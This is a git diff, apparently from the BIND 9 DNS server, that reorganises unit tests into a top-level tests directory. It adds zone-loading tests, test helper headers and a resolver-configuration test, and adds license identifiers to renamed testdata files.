+	/*
+	 * Add something to zone file, reload zone with newonly - it should
+	 * not be reloaded.
+	 */
+	fprintf(zonefile, "\nb in b 1.2.3.4\n");
+	fflush(zonefile);
+	fclose(zonefile);
+
+	dns_zone_asyncload(zone, true, load_done_new_only, zone);
+
+	return (ISC_R_SUCCESS);
+}
+
+/* asynchronous zone load */
+ISC_LOOP_TEST_IMPL(asyncload_zone) {
+	isc_result_t result;
+	int n;
+	dns_zone_t *zone = NULL;
+	dns_zt_t *zt = NULL;
+	char buf[4096];
+
+	result = dns_test_makezone("foo", &zone, NULL, true);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	dns_test_setupzonemgr();
+	result = dns_test_managezone(zone);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	view = dns_zone_getview(zone);
+	rcu_read_lock();
+	zt = rcu_dereference(view->zonetable);
+	rcu_read_unlock();
+	assert_non_null(zt);
+
+	assert_false(dns__zone_loadpending(zone));
+	zonefile = fopen("./zone.data", "wb");
+	assert_non_null(zonefile);
+	origfile = fopen(TESTS_DIR "/testdata/zt/zone1.db", "r+b");
+	assert_non_null(origfile);
+	n = fread(buf, 1, 4096, origfile);
+	fclose(origfile);
+	fwrite(buf, 1, n, zonefile);
+	fflush(zonefile);
+
+	dns_zone_setfile(zone, "./zone.data", dns_masterformat_text,
+			 &dns_master_style_default);
+
+	dns_zone_asyncload(zone, false, load_done_first, zone);
+}
+
+dns_zone_t *zone1 = NULL, *zone2 = NULL, *zone3 = NULL;
+
+static isc_result_t
+all_done(void *arg ISC_ATTR_UNUSED) {
+	isc_result_t result;
+
+	/* Both zones should now be loaded; test them */
+	result = dns_zone_getdb(zone1, &db);
+	assert_int_equal(result, ISC_R_SUCCESS);
+	assert_non_null(db);
+	if (db != NULL) {
+		dns_db_detach(&db);
+	}
+
+	result = dns_zone_getdb(zone2, &db);
+	assert_int_equal(result, ISC_R_SUCCESS);
+	assert_non_null(db);
+	if (db != NULL) {
+		dns_db_detach(&db);
+	}
+
+	dns_test_releasezone(zone3);
+	dns_test_releasezone(zone2);
+	dns_test_releasezone(zone1);
+	dns_test_closezonemgr();
+
+	dns_zone_detach(&zone1);
+	dns_zone_detach(&zone2);
+	dns_zone_detach(&zone3);
+	dns_view_detach(&view);
+
+	isc_loopmgr_shutdown(loopmgr);
+	return (ISC_R_SUCCESS);
+}
+
+/* asynchronous zone table load */
+ISC_LOOP_TEST_IMPL(asyncload_zt) {
+	isc_result_t result;
+	dns_zt_t *zt = NULL;
+	atomic_bool done;
+
+	atomic_init(&done, false);
+
+	result = dns_test_makezone("foo", &zone1, NULL, true);
+	assert_int_equal(result, ISC_R_SUCCESS);
+	dns_zone_setfile(zone1, TESTS_DIR "/testdata/zt/zone1.db",
+			 dns_masterformat_text, &dns_master_style_default);
+	view = dns_zone_getview(zone1);
+
+	result = dns_test_makezone("bar", &zone2, view, false);
+	assert_int_equal(result, ISC_R_SUCCESS);
+	dns_zone_setfile(zone2, TESTS_DIR "/testdata/zt/zone1.db",
+			 dns_masterformat_text, &dns_master_style_default);
+
+	/* This one will fail to load */
+	result = dns_test_makezone("fake", &zone3, view, false);
+	assert_int_equal(result, ISC_R_SUCCESS);
+	dns_zone_setfile(zone3, TESTS_DIR "/testdata/zt/nonexistent.db",
+			 dns_masterformat_text, &dns_master_style_default);
+
+	rcu_read_lock();
+	zt = rcu_dereference(view->zonetable);
+	rcu_read_unlock();
+	assert_non_null(zt);
+
+	dns_test_setupzonemgr();
+	result = dns_test_managezone(zone1);
+	assert_int_equal(result, ISC_R_SUCCESS);
+	result = dns_test_managezone(zone2);
+	assert_int_equal(result, ISC_R_SUCCESS);
+	result = dns_test_managezone(zone3);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	assert_false(dns__zone_loadpending(zone1));
+	assert_false(dns__zone_loadpending(zone2));
+	assert_false(atomic_load(&done));
+
+	rcu_read_lock();
+	zt = rcu_dereference(view->zonetable);
+	dns_zt_asyncload(zt, false, all_done, NULL);
+	rcu_read_unlock();
+}
+
+ISC_TEST_LIST_START
+ISC_TEST_ENTRY_CUSTOM(apply, setup_managers, teardown_managers)
+ISC_TEST_ENTRY_CUSTOM(asyncload_zone, setup_managers, teardown_managers)
+ISC_TEST_ENTRY_CUSTOM(asyncload_zt, setup_managers, teardown_managers)
+ISC_TEST_LIST_END
+
+ISC_TEST_MAIN
diff --git a/lib/bind9/include/.clang-format b/tests/include/tests/.clang-format
similarity index 100%
rename from lib/bind9/include/.clang-format
rename to tests/include/tests/.clang-format
diff --git a/tests/include/tests/dns.h b/tests/include/tests/dns.h
new file mode 100644
index 0000000000..22a626f35e
--- /dev/null
+++ b/tests/include/tests/dns.h
@@ -0,0 +1,123 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#pragma once
+
+/*! \file */
+
+#include <inttypes.h>
+#include <stdbool.h>
+
+#include <isc/buffer.h>
+#include <isc/hash.h>
+#include <isc/log.h>
+#include <isc/loop.h>
+#include <isc/mem.h>
+#include <isc/result.h>
+#include <isc/string.h>
+#include <isc/timer.h>
+#include <isc/util.h>
+
+#include <dns/cache.h>
+#include <dns/diff.h>
+#include <dns/zone.h>
+
+#include <tests/isc.h>
+
+extern dns_zonemgr_t *zonemgr;
+
+typedef struct {
+	dns_diffop_t op;
+	const char  *owner;
+	dns_ttl_t    ttl;
+	const char  *type;
+	const char  *rdata;
+} zonechange_t;
+
+#define ZONECHANGE_SENTINEL            \
+	{                              \
+		0, NULL, 0, NULL, NULL \
+	}
+
+isc_result_t
+dns_test_makeview(const char *name, bool with_dispatchmgr, bool with_cache,
+		  dns_view_t **viewp);
+
+/*%
+ * Create a zone with origin 'name', return a pointer to the zone object in
+ * 'zonep'.
+ *
+ * If 'view' is set, the returned zone will be assigned to the passed view.
+ * 'createview' must be set to false when 'view' is non-NULL.
+ *
+ * If 'view' is not set and 'createview' is true, a new view is also created
+ * and the returned zone is assigned to it.  This imposes two requirements on
+ * the caller: 1) the returned zone has to be subsequently assigned to a zone
+ * manager, otherwise its cleanup will fail, 2) the created view has to be
+ * cleaned up by the caller.
+ *
+ * If 'view' is not set and 'createview' is false, the returned zone will not
+ * be assigned to any view.
+ */
+isc_result_t
+dns_test_makezone(const char *name, dns_zone_t **zonep, dns_view_t *view,
+		  bool createview);
+
+void
+dns_test_setupzonemgr(void);
+
+isc_result_t
+dns_test_managezone(dns_zone_t *zone);
+
+void
+dns_test_releasezone(dns_zone_t *zone);
+
+void
+dns_test_closezonemgr(void);
+
+void
+dns_test_nap(uint32_t usec);
+
+isc_result_t
+dns_test_loaddb(dns_db_t **db, dns_dbtype_t dbtype, const char *origin,
+		const char *testfile);
+
+isc_result_t
+dns_test_getdata(const char *file, unsigned char *buf, size_t bufsiz,
+		 size_t *sizep);
+
+char *
+dns_test_tohex(const unsigned char *data, size_t len, char *buf, size_t buflen);
+
+/*%
+ * Try parsing text form RDATA in "src" (of class "rdclass" and type "rdtype")
+ * into a structure representing that RDATA at "rdata", storing the
+ * uncompressed wire form of that RDATA at "dst", which is "dstlen" bytes long.
+ * Set 'warnings' to true to print logged warnings from dns_rdata_fromtext().
+ */
+isc_result_t
+dns_test_rdatafromstring(dns_rdata_t *rdata, dns_rdataclass_t rdclass,
+			 dns_rdatatype_t rdtype, unsigned char *dst,
+			 size_t dstlen, const char *src, bool warnings);
+
+void
+dns_test_namefromstring(const char *namestr, dns_fixedname_t *fname);
+
+/*%
+ * Given a pointer to an uninitialized dns_diff_t structure in 'diff', make it
+ * contain diff tuples representing zone database changes listed in 'changes'.
+ * Set 'warnings' to true to print logged warnings from dns_rdata_fromtext().
+ */
+isc_result_t
+dns_test_difffromchanges(dns_diff_t *diff, const zonechange_t *changes,
+			 bool warnings);
diff --git a/tests/include/tests/isc.h b/tests/include/tests/isc.h
new file mode 100644
index 0000000000..add574ffb3
--- /dev/null
+++ b/tests/include/tests/isc.h
@@ -0,0 +1,186 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#pragma once
+
+/*! \file */
+
+#include <inttypes.h>
+#include <stdbool.h>
+
+#include <isc/buffer.h>
+#include <isc/hash.h>
+#include <isc/log.h>
+#include <isc/mem.h>
+#include <isc/netmgr.h>
+#include <isc/result.h>
+#include <isc/string.h>
+#include <isc/timer.h>
+#include <isc/util.h>
+#include <isc/uv.h>
+
+extern isc_mem_t     *mctx;
+extern isc_log_t     *lctx;
+extern isc_loop_t    *mainloop;
+extern isc_loopmgr_t *loopmgr;
+extern isc_nm_t	     *netmgr;
+extern int	      ncpus;
+extern unsigned int   workers;
+
+int
+setup_mctx(void **state);
+int
+teardown_mctx(void **state);
+
+int
+setup_workers(void **state);
+
+int
+setup_loopmgr(void **state);
+int
+teardown_loopmgr(void **state);
+
+int
+setup_netmgr(void **state);
+int
+teardown_netmgr(void **state);
+
+int
+setup_managers(void **state);
+int
+teardown_managers(void **state);
+
+#ifndef TESTS_DIR
+#define TESTS_DIR "./"
+#endif
+
+/* clang-format off */
+/* Copied from cmocka */
+#define ISC_TEST_ENTRY(name)				\
+	{ #name, run_test_##name, NULL, NULL, NULL },
+#define ISC_TEST_ENTRY_SETUP(name) \
+	{ #name, run_test_##name, setup_test_##name, NULL, NULL },
+#define ISC_TEST_ENTRY_TEARDOWN(name) \
+	{ #name, run_test_##name, NULL, teardown_test_##name, NULL },
+#define ISC_TEST_ENTRY_SETUP_TEARDOWN(name) \
+	{ #name, run_test_##name, setup_test_##name, teardown_test_##name, NULL },
+#define ISC_TEST_ENTRY_CUSTOM(name, setup, teardown) \
+	{ #name, run_test_##name, setup, teardown, NULL },
+/* clang-format on */
+
+#define ISC_SETUP_TEST_DECLARE(name) \
+	int setup_test_##name(void **state ISC_ATTR_UNUSED);
+
+#define ISC_RUN_TEST_DECLARE(name) \
+	void run_test_##name(void **state ISC_ATTR_UNUSED);
+
+#define ISC_TEARDOWN_TEST_DECLARE(name) \
+	int teardown_test_##name(void **state ISC_ATTR_UNUSED)
+
+#define ISC_LOOP_TEST_CUSTOM_DECLARE(name, setup, teardown) \
+	void run_test_##name(void **state ISC_ATTR_UNUSED); \
+	void loop_test_##name(void *arg ISC_ATTR_UNUSED);
+
+#define ISC_LOOP_TEST_DECLARE(name) \
+	ISC_LOOP_TEST_CUSTOM_DECLARE(name, NULL, NULL)
+
+#define ISC_LOOP_TEST_SETUP_DECLARE(name) \
+	ISC_LOOP_TEST_CUSTOM_DECLARE(name, setup_loop_##name, NULL)
+
+#define ISC_LOOP_TEST_SETUP_TEARDOWN_DECLARE(name)            \
+	ISC_LOOP_TEST_CUSTOM_DECLARE(name, setup_loop_##name, \
+				     teardown_loop_##name)
+
+#define ISC_LOOP_TEST_TEARDOWN_DECLARE(name) \
+	ISC_LOOP_TEST_CUSTOM_DECLARE(name, NULL, teardown_loop_##name)
+
+#define ISC_LOOP_SETUP_DECLARE(name) \
+	void setup_loop_##name(void *arg ISC_ATTR_UNUSED);
+
+#define ISC_SETUP_TEST_IMPL(name)                            \
+	int setup_test_##name(void **state ISC_ATTR_UNUSED); \
+	int setup_test_##name(void **state ISC_ATTR_UNUSED)
+
+#define ISC_RUN_TEST_IMPL(name)                             \
+	void run_test_##name(void **state ISC_ATTR_UNUSED); \
+	void run_test_##name(void **state ISC_ATTR_UNUSED)
+
+#define ISC_TEARDOWN_TEST_IMPL(name)                            \
+	int teardown_test_##name(void **state ISC_ATTR_UNUSED); \
+	int teardown_test_##name(void **state ISC_ATTR_UNUSED)
+
+#define ISC_TEST_LIST_START const struct CMUnitTest tests[] = {
+#define ISC_TEST_LIST_END \
+	}                 \
+	;
+
+#define ISC_LOOP_TEST_CUSTOM_IMPL(name, setup, teardown)           \
+	void run_test_##name(void **state ISC_ATTR_UNUSED);        \
+	void loop_test_##name(void *arg ISC_ATTR_UNUSED);          \
+	void run_test_##name(void **state ISC_ATTR_UNUSED) {       \
+		isc_job_cb setup_loop = setup;                     \
+		isc_job_cb teardown_loop = teardown;               \
+		if (setup_loop != NULL) {                          \
+			setup_loop(state);                         \
+		}                                                  \
+		isc_loop_setup(mainloop, loop_test_##name, state); \
+		isc_loopmgr_run(loopmgr);                          \
+		if (teardown_loop != NULL) {                       \
+			teardown_loop(state);                      \
+		}                                                  \
+	}                                                          \
+	void loop_test_##name(void *arg ISC_ATTR_UNUSED)
+
+#define ISC_LOOP_TEST_IMPL(name) ISC_LOOP_TEST_CUSTOM_IMPL(name, NULL, NULL)
+
+#define ISC_LOOP_TEST_SETUP_IMPL(name) \
+	ISC_LOOP_TEST_CUSTOM_IMPL(name, setup_loop_##name, NULL)
+
+#define ISC_LOOP_TEST_SETUP_TEARDOWN_IMPL(name) \
+	ISC_LOOP_TEST_CUSTOM_IMPL(name, setup_loop_##name, teardown_loop_##name)
+
+#define ISC_LOOP_TEST_TEARDOWN_IMPL(name) \
+	ISC_LOOP_TEST_CUSTOM_IMPL(name, NULL, teardown_loop_##name)
+
+#define ISC_LOOP_SETUP_IMPL(name)                          \
+	void setup_loop_##name(void *arg ISC_ATTR_UNUSED); \
+	void setup_loop_##name(void *arg ISC_ATTR_UNUSED)
+
+#define ISC_LOOP_TEARDOWN_IMPL(name)                          \
+	void teardown_loop_##name(void *arg ISC_ATTR_UNUSED); \
+	void teardown_loop_##name(void *arg ISC_ATTR_UNUSED)
+
+#define ISC_TEST_DECLARE(name) void run_test_##name(void **state);
+
+#define ISC_TEST_LIST_START const struct CMUnitTest tests[] = {
+#define ISC_TEST_LIST_END \
+	}                 \
+	;
+
+#define ISC_TEST_MAIN ISC_TEST_MAIN_CUSTOM(NULL, NULL)
+
+#define ISC_TEST_MAIN_CUSTOM(setup, teardown)                       \
+	int main(void) {                                            \
+		int r;                                              \
+                                                                    \
+		signal(SIGPIPE, SIG_IGN);                           \
+                                                                    \
+		setup_mctx(NULL);                                   \
+		setup_workers(NULL);                                \
+                                                                    \
+		r = cmocka_run_group_tests(tests, setup, teardown); \
+                                                                    \
+		isc_mem_destroy(&mctx);                             \
+                                                                    \
+		return (r);                                         \
+	}
diff --git a/tests/include/tests/ns.h b/tests/include/tests/ns.h
new file mode 100644
index 0000000000..8661d1d8dd
--- /dev/null
+++ b/tests/include/tests/ns.h
@@ -0,0 +1,128 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#pragma once
+
+/*! \file */
+
+#include <inttypes.h>
+#include <stdbool.h>
+
+#include <isc/buffer.h>
+#include <isc/hash.h>
+#include <isc/log.h>
+#include <isc/loop.h>
+#include <isc/mem.h>
+#include <isc/result.h>
+#include <isc/string.h>
+#include <isc/timer.h>
+#include <isc/util.h>
+
+#include <dns/zone.h>
+
+#include <ns/client.h>
+#include <ns/hooks.h>
+#include <ns/interfacemgr.h>
+
+#include <tests/dns.h>
+
+typedef struct ns_test_id {
+	const char *description;
+	int	    lineno;
+} ns_test_id_t;
+
+#define NS_TEST_ID(desc)                                \
+	{                                               \
+		.description = desc, .lineno = __LINE__ \
+	}
+
+extern dns_dispatchmgr_t *dispatchmgr;
+extern ns_interfacemgr_t *interfacemgr;
+extern ns_server_t	 *sctx;
+
+extern atomic_uint_fast32_t client_refs[32];
+extern atomic_uintptr_t	    client_addrs[32];
+
+#if ISC_NETMGR_TRACE
+#define FLARG                                                                  \
+	, const char *file ISC_ATTR_UNUSED, unsigned int line ISC_ATTR_UNUSED, \
+		const char *func ISC_ATTR_UNUSED
+#else
+#define FLARG
+#endif
+
+int
+setup_server(void **state);
+int
+teardown_server(void **state);
+void
+shutdown_interfacemgr(void *arg ISC_ATTR_UNUSED);
+
+/*%
+ * Load data for zone "zonename" from file "filename" and start serving it to
+ * clients matching "view".  Only one zone loaded using this function can be
+ * served at any given time.
+ */
+isc_result_t
+ns_test_serve_zone(const char *zonename, const char *filename,
+		   dns_view_t *view);
+
+/*%
+ * Release the zone loaded by ns_test_serve_zone().
+ */
+void
+ns_test_cleanup_zone(void);
+
+isc_result_t
+ns_test_loaddb(dns_db_t **db, dns_dbtype_t dbtype, const char *origin,
+	       const char *testfile);
+
+isc_result_t
+ns_test_getdata(const char *file, unsigned char *buf, size_t bufsiz,
+		size_t *sizep);
+
+isc_result_t
+ns_test_getclient(ns_interface_t *ifp0, bool tcp, ns_client_t **clientp);
+
+/*%
+ * Structure containing parameters for ns_test_qctx_create().
+ */
+typedef struct ns_test_qctx_create_params {
+	const char     *qname;
+	dns_rdatatype_t qtype;
+	unsigned int	qflags;
+	bool		with_cache;
+} ns_test_qctx_create_params_t;
+
+/*%
+ * Prepare a query context identical with one that would be prepared if a query
+ * with given QNAME, QTYPE and flags was received from a client.  Recursion is
+ * assumed to be allowed for this client.  If "with_cache" is set to true,
+ * a cache database will be created and associated with the view matching the
+ * incoming query.
+ */
+isc_result_t
+ns_test_qctx_create(const ns_test_qctx_create_params_t *params,
+		    query_ctx_t			      **qctxp);
+
+/*%
+ * Destroy a query context created by ns_test_qctx_create().
+ */
+void
+ns_test_qctx_destroy(query_ctx_t **qctxp);
+
+/*%
+ * A hook callback interrupting execution at given hook's insertion point.
+ */
+ns_hookresult_t
+ns_test_hook_catch_call(void *arg, void *data, isc_result_t *resultp);
diff --git a/tests/include/tests/qp.h b/tests/include/tests/qp.h
new file mode 100644
index 0000000000..8e165001aa
--- /dev/null
+++ b/tests/include/tests/qp.h
@@ -0,0 +1,93 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#pragma once
+
+/*
+ * Cheap but inaccurate conversion from bit numbers to ascii: this is
+ * adequate for displaying the trie structure. It lacks any context
+ * that would be necessary for handling escapes, so unusual characters
+ * are fudged.
+ */
+uint8_t
+qp_test_bittoascii(uint8_t bit);
+
+/*
+ * Simple and incorrect key conversion for display purposes.
+ * Overwrites the key in place, and returns a pointer to the converted key.
+ */
+const char *
+qp_test_keytoascii(dns_qpkey_t key, size_t len);
+
+/*
+ * Convert a trie lookup key back into a DNS name. Unlike the previous
+ * functions, this is a complete inverse of dns_qpkey_fromname().
+ */
+void
+qp_test_keytoname(const dns_qpkey_t key, size_t len, dns_name_t *name);
+
+/*
+ * The maximum height of the trie
+ */
+size_t
+qp_test_getheight(dns_qp_t *qp);
+
+/*
+ * The maximum length of any key in the trie (for comparison with the trie's
+ * height)
+ */
+size_t
+qp_test_maxkeylen(dns_qp_t *qp);
+
+/*
+ * Print dns_qp_t metadata to stdout
+ */
+void
+qp_test_dumpqp(dns_qp_t *qp);
+
+/*
+ * Print dns_qpread_t metadata to stdout
+ */
+void
+qp_test_dumpread(dns_qpreadable_t qp);
+
+/*
+ * Print dns_qpsnap_t metadata to stdout
+ */
+void
+qp_test_dumpsnap(dns_qpsnap_t *qps);
+
+/*
+ * Print dns_qpmulti_t metadata to stdout
+ */
+void
+qp_test_dumpmulti(dns_qpmulti_t *multi);
+
+/*
+ * Print dns_qp_t chunk arrays to stdout
+ */
+void
+qp_test_dumpchunks(dns_qp_t *qp);
+
+/*
+ * Print out the trie structure to stdout in an ad-hoc text format
+ * that uses indentation to indicate depth
+ */
+void
+qp_test_dumptrie(dns_qpreadable_t qp);
+
+/*
+ * Print out the trie structure to stdout in graphviz dot format
+ */
+void
+qp_test_dumpdot(dns_qp_t *qp);
diff --git a/tests/irs/Makefile.am b/tests/irs/Makefile.am
new file mode 100644
index 0000000000..5bf08463df
--- /dev/null
+++ b/tests/irs/Makefile.am
@@ -0,0 +1,16 @@
+include $(top_srcdir)/Makefile.top
+
+AM_CPPFLAGS +=			\
+	$(LIBISC_CFLAGS)	\
+	$(LIBDNS_CFLAGS)
+
+LDADD +=			\
+	$(LIBISC_LIBS)		\
+	$(LIBDNS_LIBS)
+
+check_PROGRAMS =		\
+	resconf_test
+
+EXTRA_DIST = testdata
+
+include $(top_srcdir)/Makefile.tests
diff --git a/tests/irs/resconf_test.c b/tests/irs/resconf_test.c
new file mode 100644
index 0000000000..367898f8c2
--- /dev/null
+++ b/tests/irs/resconf_test.c
@@ -0,0 +1,182 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#if HAVE_CMOCKA
+
+#include <inttypes.h>
+#include <sched.h> /* IWYU pragma: keep */
+#include <setjmp.h>
+#include <stdarg.h>
+#include <stddef.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+
+#define UNIT_TESTING
+#include <cmocka.h>
+
+#include <isc/mem.h>
+#include <isc/util.h>
+
+#include <irs/resconf.h>
+
+static isc_mem_t *mctx = NULL;
+
+static void
+setup_test(void) {
+	isc_mem_create(&mctx);
+
+	/*
+	 * the caller might run from another directory, but tests
+	 * that access test data files must first chdir to the proper
+	 * location.
+	 */
+	assert_return_code(chdir(TESTS_DIR), 0);
+}
+
+static isc_result_t
+check_number(unsigned int n, unsigned int expected) {
+	return ((n == expected) ? ISC_R_SUCCESS : ISC_R_BADNUMBER);
+}
+
+static isc_result_t
+check_attempts(irs_resconf_t *resconf) {
+	return (check_number(irs_resconf_getattempts(resconf), 4));
+}
+
+static isc_result_t
+check_timeout(irs_resconf_t *resconf) {
+	return (check_number(irs_resconf_gettimeout(resconf), 1));
+}
+
+static isc_result_t
+check_ndots(irs_resconf_t *resconf) {
+	return (check_number(irs_resconf_getndots(resconf), 2));
+}
+
+static isc_result_t
+check_options(irs_resconf_t *resconf) {
+	if (irs_resconf_getattempts(resconf) != 3) {
+		return ISC_R_BADNUMBER; /* default value only */
+	}
+
+	if (irs_resconf_getndots(resconf) != 2) {
+		return ISC_R_BADNUMBER;
+	}
+
+	if (irs_resconf_gettimeout(resconf) != 1) {
+		return ISC_R_BADNUMBER;
+	}
+
+	return (ISC_R_SUCCESS);
+}
+
+/* test irs_resconf_load() */
+static void
+irs_resconf_load_test(void **state) {
+	isc_result_t result;
+	irs_resconf_t *resconf = NULL;
+	unsigned int i;
+	struct {
+		const char *file;
+		isc_result_t loadres;
+		isc_result_t (*check)(irs_resconf_t *resconf);
+		isc_result_t checkres;
+	} tests[] = {
+		{ "testdata/domain.conf", ISC_R_SUCCESS, NULL, ISC_R_SUCCESS },
+		{ "testdata/nameserver-v4.conf", ISC_R_SUCCESS, NULL,
+		  ISC_R_SUCCESS },
+		{ "testdata/nameserver-v6.conf", ISC_R_SUCCESS, NULL,
+		  ISC_R_SUCCESS },
+		{ "testdata/nameserver-v6-scoped.conf", ISC_R_SUCCESS, NULL,
+		  ISC_R_SUCCESS },
+		{ "testdata/options-attempts.conf", ISC_R_SUCCESS,
+		  check_attempts, ISC_R_SUCCESS },
+		{ "testdata/options-debug.conf", ISC_R_SUCCESS, NULL,
+		  ISC_R_SUCCESS },
+		{ "testdata/options-ndots.conf", ISC_R_SUCCESS, check_ndots,
+		  ISC_R_SUCCESS },
+		{ "testdata/options-timeout.conf", ISC_R_SUCCESS, check_timeout,
+		  ISC_R_SUCCESS },
+		{ "testdata/options-unknown.conf", ISC_R_SUCCESS, NULL,
+		  ISC_R_SUCCESS },
+		{ "testdata/options.conf", ISC_R_SUCCESS, check_options,
+		  ISC_R_SUCCESS },
+		{ "testdata/options-bad-ndots.conf", ISC_R_RANGE, NULL,
+		  ISC_R_SUCCESS },
+		{ "testdata/options-empty.conf", ISC_R_UNEXPECTEDEND, NULL,
+		  ISC_R_SUCCESS },
+		{ "testdata/port.conf", ISC_R_SUCCESS, NULL, ISC_R_SUCCESS },
+		{ "testdata/resolv.conf", ISC_R_SUCCESS, NULL, ISC_R_SUCCESS },
+		{ "testdata/search.conf", ISC_R_SUCCESS, NULL, ISC_R_SUCCESS },
+		{ "testdata/sortlist-v4.conf", ISC_R_SUCCESS, NULL,
+		  ISC_R_SUCCESS },
+		{ "testdata/timeout.conf", ISC_R_SUCCESS, NULL, ISC_R_SUCCESS },
+		{ "testdata/unknown.conf", ISC_R_SUCCESS, NULL, ISC_R_SUCCESS }
+	};
+
+	UNUSED(state);
+
+	setup_test();
+
+	for (i = 0; i < sizeof(tests) / sizeof(tests[1]); i++) {
+		result = irs_resconf_load(mctx, tests[i].file, &resconf);
+		if (result != tests[i].loadres) {
+			fail_msg("# unexpected result %s loading %s",
+				 isc_result_totext(result), tests[i].file);
+		}
+
+		if (result == ISC_R_SUCCESS && resconf == NULL) {
+			fail_msg("# NULL on success loading %s", tests[i].file);
+		} else if (result != ISC_R_SUCCESS && resconf != NULL) {
+			fail_msg("# non-NULL on failure loading %s",
+				 tests[i].file);
+		}
+
+		if (resconf != NULL && tests[i].check != NULL) {
+			result = (tests[i].check)(resconf);
+			if (result != tests[i].checkres) {
+				fail_msg("# unexpected result %s loading %s",
+					 isc_result_totext(result),
+					 tests[i].file);
+			}
+		}
+		if (resconf != NULL) {
+			irs_resconf_destroy(&resconf);
+		}
+	}
+
+	isc_mem_detach(&mctx);
+}
+
+int
+main(void) {
+	const struct CMUnitTest tests[] = {
+		cmocka_unit_test(irs_resconf_load_test),
+	};
+
+	return (cmocka_run_group_tests(tests, NULL, NULL));
+}
+
+#else /* HAVE_CMOCKA */
+
+#include <stdio.h>
+
+int
+main(void) {
+	printf("1..0 # Skipped: cmocka not available\n");
+	return (SKIPPED_TEST_EXIT_CODE);
+}
+
+#endif /* if HAVE_CMOCKA */
diff --git a/lib/irs/tests/testdata/domain.conf b/tests/irs/testdata/domain.conf
similarity index 91%
rename from lib/irs/tests/testdata/domain.conf
rename to tests/irs/testdata/domain.conf
index d24e1825ee..ee43f5c0ec 100644
--- a/lib/irs/tests/testdata/domain.conf
+++ b/tests/irs/testdata/domain.conf
@@ -1,5 +1,7 @@
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
 # License, v. 2.0. If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
diff --git a/lib/irs/tests/testdata/nameserver-v4.conf b/tests/irs/testdata/nameserver-v4.conf
similarity index 91%
rename from lib/irs/tests/testdata/nameserver-v4.conf
rename to tests/irs/testdata/nameserver-v4.conf
index dd6aa9079d..5054de0232 100644
--- a/lib/irs/tests/testdata/nameserver-v4.conf
+++ b/tests/irs/testdata/nameserver-v4.conf
@@ -1,5 +1,7 @@
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
 # License, v. 2.0. If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
diff --git a/lib/irs/tests/testdata/nameserver-v6-scoped.conf b/tests/irs/testdata/nameserver-v6-scoped.conf
similarity index 91%
rename from lib/irs/tests/testdata/nameserver-v6-scoped.conf
rename to tests/irs/testdata/nameserver-v6-scoped.conf
index b52899dd18..d5bd97f08b 100644
--- a/lib/irs/tests/testdata/nameserver-v6-scoped.conf
+++ b/tests/irs/testdata/nameserver-v6-scoped.conf
@@ -1,5 +1,7 @@
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
 # License, v. 2.0. If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
diff --git a/lib/irs/tests/testdata/nameserver-v6.conf b/tests/irs/testdata/nameserver-v6.conf
similarity index 91%
rename from lib/irs/tests/testdata/nameserver-v6.conf
rename to tests/irs/testdata/nameserver-v6.conf
index 68c8da381d..b9ed09359f 100644
--- a/lib/irs/tests/testdata/nameserver-v6.conf
+++ b/tests/irs/testdata/nameserver-v6.conf
@@ -1,5 +1,7 @@
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
 # License, v. 2.0. If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
diff --git a/tests/irs/testdata/options-attempts.conf b/tests/irs/testdata/options-attempts.conf
new file mode 100644
index 0000000000..a076f8efc9
--- /dev/null
